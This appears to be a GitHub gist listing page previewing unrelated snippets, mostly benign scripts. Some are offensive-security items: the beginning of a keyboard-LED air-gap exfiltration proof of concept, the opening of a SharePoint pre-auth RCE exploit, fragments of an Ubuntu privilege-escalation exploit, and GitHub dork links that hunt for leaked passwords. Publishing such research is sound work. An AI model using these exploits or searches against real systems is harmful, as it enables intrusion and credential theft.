Skip to content

Instantly share code, notes, and snippets.

@gamersalpha
gamersalpha / gist:786c408ab86cf4b0887be16f462d7f43
Created October 21, 2024 07:30
Information recall WIndows
# Obtenir la version de Windows
$windowsVersion = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").ReleaseId
$windowsBuild = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").CurrentBuild
# Afficher la version et le build
Write-Host "Version de Windows : $windowsVersion"
Write-Host "Build de Windows : $windowsBuild"
# Vérifier si la fonctionnalité "Recall" est activée
$RecallEnabled = Dism /online /Get-FeatureInfo /FeatureName:Recall | findstr /B /C:"State"
@FR46M3N7-P4R71CL3
FR46M3N7-P4R71CL3 / KeyboardSideChannel.vbs
Last active October 9, 2024 13:18
A little VBScript to read the contents of a file, convert to Base-8, and use keyboard LEDs to transmit the data. Just a little, simple PoC to show how even an air-gapped computer (one that’s completely isolated from any network or external devices) can still leak information. The main objective is to maximize the amount of information that can b…
Set WshShell = CreateObject("WScript.Shell")
' Function to convert text to binary
Function TextToBinary(text)
Dim binary, i, char
For i = 1 To Len(text)
char = Asc(Mid(text, i, 1))
binary = binary & Right("00000000" & BinaryStr(char), 8)
Next
TextToBinary = binary
@rvrsh3ll
rvrsh3ll / windows-keys.md
Created February 18, 2024 22:44
Windows Product Keys

NOTE

These are NOT product / license keys that are valid for Windows activation.
These keys only select the edition of Windows to install during setup, but they do not activate or license the installation.

Index

@testanull
testanull / SharePwn_public.py
Created December 15, 2023 07:31
SharePoint Pre-Auth Code Injection RCE chain CVE-2023-29357 & CVE-2023-24955 PoC
# -*- coding: utf-8 -*-
import hashlib
import base64
import requests, string, struct, uuid, random, re
import sys
from collections import OrderedDict
from sys import version
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯
@win3zz
win3zz / GameOver(lay).md
Last active January 3, 2025 05:42
Privilege escalation vulnerabilities in Ubuntu/Kali Linux (CVE-2023-2640 and CVE-2023-32629)
user@hostname:~/exploit$ cat > test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    if (setuid(0) != 0) {
alias dtail='docker logs -tf --tail='50' '
alias dstop='docker stop `docker ps -aq`'
alias drm='docker rm `docker ps -aq`'
alias dcp='docker-compose -f ~/docker-compose.yml '
alias dcporph='docker-compose -f ~/docker-compose.yml up -d --remove-orphans'
alias dprune='docker image prune'
alias dprunesys='docker system prune --all'
@rolisz
rolisz / mic_check.py
Created February 2, 2023 15:41
Script to alert on microphone loudness
import time
from collections import deque
import numpy as np
import sounddevice as sd
from beepy import beep
from infi.systray import SysTrayIcon
last_alert = time.time() - 10
q = deque(maxlen=200)
echo ""
echo "************ Github Dork Links (must be logged in) *******************"
echo ""
echo " password"
echo "https://github.com/search?q="hackertarget.site"+password&type=Code"
echo "https://github.com/search?q=""hackertarget""+password&type=Code"
echo ""
echo " npmrc _auth"
@mwaskom
mwaskom / replacing_seaborn_distplot.ipynb
Last active September 14, 2025 05:52
A guide to replacing the deprecated `seaborn.distplot` function.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@orinocoz
orinocoz / MS_Teams_Presence_NodeRed.js
Created January 22, 2022 14:02 — forked from instance-id/MS_Teams_Presence_NodeRed.js
UserScript/TamperMonkey - Sends HTTP request to NodeRed HTTP Listener when web based Microsoft Teams status/presence changes to enable automated actions in NodeRed/HomeAssistant
// ==UserScript==
// @name Web Based Microsoft Teams Presence To NodeRed/HomeAssistant
// @namespace http://tampermonkey.net/
// @version 1.0
// @description Sends HTTP request to NodeRed HTTP Listener when Web based Microsoft Teams status/presence changes to enable automated actions in NodeRed/HomeAssistant
// @author instance.id
// @match https://*.teams.microsoft.us/*
// @grant none
// ==/UserScript==